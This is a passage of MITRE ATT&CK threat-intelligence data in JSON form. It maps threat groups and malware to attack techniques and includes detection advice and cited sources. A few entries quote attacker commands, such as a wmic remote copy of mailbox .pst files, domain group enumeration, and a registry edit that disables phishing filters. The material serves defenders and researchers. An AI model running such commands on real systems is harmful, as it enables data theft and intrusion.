the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a86e40b2-0ee0-4f70-b32f-80b1bcde9948", "created": "2022-08-30T14:17:01.017Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "", "modified": "2022-08-30T14:17:01.017Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8730dc5-9f3b-449d-8b17-f5a6638aaac4", "type": "relationship", "created": "2021-01-22T16:47:23.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . 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Retrieved January 19, 2021."}], "modified": "2021-01-22T16:47:23.281Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from victim's e-mail including through execution of <code>wmic /node:<ip> process call create \"cmd /c copy c:\\Users\\<username>\\<path>\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\<path>\\<username>\\My Documents\\<filename>.pst\"\ncopy</code>.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a877e5c0-3fe6-40bb-bd02-ef4a9465aba3", "created": "2022-08-09T18:40:50.921Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": " [PingPull](https://attack.mitre.org/software/S1031) variants have the ability to communicate with C2 servers using ICMP or TCP.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-24T20:30:37.403Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a87a63cc-7920-4b23-a804-d1ad94ffc120", "created": "2022-06-14T15:10:00.537Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can create directories to store logs and other collected data.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-08-31T16:45:29.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a881d020-95c1-4123-98d0-c31cb8d2ff4e", "created": "2023-09-27T20:31:56.532Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:31:56.532Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) can load multiple additional plugins on an infected host.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a8822aba-51e7-44de-91f0-24e84390ee7c", "created": "2024-02-09T19:44:25.497Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:44:25.497Z", "description": "[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can RC4 encrypt all incoming and outgoing C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a88332d2-d03f-4139-b11c-19e82459189b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-17T02:14:56.027Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running <code>hostname</code> and <code>systeminfo</code> on a victim.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a883e4c6-6a40-4660-9120-b2430099ccb6", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.699Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a88d4d4f-d10c-46b4-b89d-c26a465f8338", "created": "2022-09-29T19:44:52.726Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T22:49:02.566Z", "description": "Monitor processes with arguments that may be related to abuse of installer packages, including malicious, likely elevated processes triggered by application installations.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a88e956c-6c71-47e1-b02c-d4c105542690", "type": "relationship", "created": "2020-05-04T19:13:35.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T21:55:45.102Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used the malicious NTWDBLIB.DLL and `cliconfig.exe` to bypass UAC protections.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8981fca-0584-4e9e-8f92-83843e1e4462", "type": "relationship", "created": "2022-02-22T15:06:34.186Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks IRON HEMLOCK Profile", "url": "http://www.secureworks.com/research/threat-profiles/iron-hemlock", "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}], "modified": "2022-02-22T15:06:34.186Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple layers of encryption within malware to protect C2 communication.(Citation: Secureworks IRON HEMLOCK Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a89c60cc-5851-45bf-bcd6-f73f460351a5", "type": "relationship", "created": "2021-09-29T13:02:30.940Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Netscout Stolen Pencil Dec 2018", "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}], "modified": "2021-09-29T13:02:30.940Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used tools that are capable of obtaining credentials from saved mail.(Citation: Netscout Stolen Pencil Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a89cdaac-9bc9-4673-8dbd-bdf3417d5d71", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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(2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}], "modified": "2020-10-02T17:23:24.572Z", "description": "[Pillowmint](https://attack.mitre.org/software/S0517) has used a PowerShell script to install a shim database.(Citation: Trustwave Pillowmint June 2020)\t", "relationship_type": "uses", "source_ref": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", "description": "Anthe, C. et al. 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(2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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(2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to scan ports on a compromised network.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:09:39.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html", "description": "Chen, X., Scott, M., Caselden, D.. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.308Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can masquerade as <code>update.exe</code> and <code>svehost.exe</code>; it has also mimicked legitimate Telegram and Chrome files.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8b5c1b4-9ccf-46bc-9074-59e866efcc83", "type": "relationship", "created": "2020-06-10T20:30:38.936Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved April 28, 2020."}], "modified": "2020-04-30T20:31:38.012Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) executed <code>file /bin/pwd</code> in activity exploiting CVE-2019-19781 against Citrix devices.(Citation: FireEye APT41 March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8cfb738-65ac-4d5a-8ef7-d3a21eab02ea", "type": "relationship", "created": "2020-10-22T20:25:26.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Recorded Future Turla Infra 2020", "url": "https://www.recordedfuture.com/turla-apt-infrastructure/", "description": "Insikt Group. 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Retrieved October 20, 2020."}], "modified": "2020-10-22T20:25:26.594Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has developed its own unique malware for use in operations.(Citation: Recorded Future Turla Infra 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017"}, {"description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", "source_name": "FireEye APT34 July 2019"}], "modified": "2020-03-16T20:14:22.874Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used keylogging tools called KEYPUNCH and LONGWATCH.(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)\t\n", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a8dc6cca-3ede-4110-baf1-8ce53fb655a9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. 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Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T16:14:33.375Z", "description": "[Mongall](https://attack.mitre.org/software/S1026) can use Base64 to encode information sent to its C2.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9960bcf-c6aa-411c-80d0-556ec7230b68", "type": "relationship", "created": "2021-10-15T19:57:15.157Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "eSentire FIN7 July 2021", "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc", "description": "eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}], "modified": "2021-10-15T19:57:15.157Z", "description": "[JSS Loader](https://attack.mitre.org/software/S0648) has been delivered by phishing emails containing malicious Microsoft Excel attachments.(Citation: eSentire FIN7 July 2021)", "relationship_type": "uses", "source_ref": "malware--f559f945-eb8b-48b1-904c-68568deebed3", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a99bd83e-b477-40da-8b82-512937421193", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor executed commands and arguments that may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a99df039-f5ee-4060-b3ba-b1224acee970", "type": "relationship", "created": "2022-01-25T14:59:21.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:03:40.088Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can download additional modules from actor-controlled Amazon S3 buckets.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a99f7b3c-4757-47b0-8649-795f1e0f7c60", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.331Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) terminates anti-malware processes if they\u2019re found running on the system.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9a0ecce-239c-4666-94e9-ef1fb64cf796", "type": "relationship", "created": "2019-01-29T17:59:44.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "source_name": "GDATA Zeus Panda June 2017"}], "modified": "2019-04-16T20:55:20.215Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) modifies several Registry keys under <code>HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\</code> to disable phishing filters.(Citation: GDATA Zeus Panda June 2017)", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9a39a39-b339-41d9-9790-198ac9352bfd", "type": "relationship", "created": "2020-06-01T15:46:47.567Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}, {"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:57:13.559Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used TinyMet to enumerate members of privileged groups.(Citation: IBM TA505 April 2020) [TA505](https://attack.mitre.org/groups/G0092) has also run <code>net group /domain</code>.(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9a71970-33d1-4336-acb3-9252b91d27a4", "type": "relationship", "created": "2019-01-29T14:51:06.742Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pantazopoulos, N. (2018, April 17). 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Retrieved July 15, 2020."}], "modified": "2021-03-29T19:49:11.281Z", "description": "[gh0st 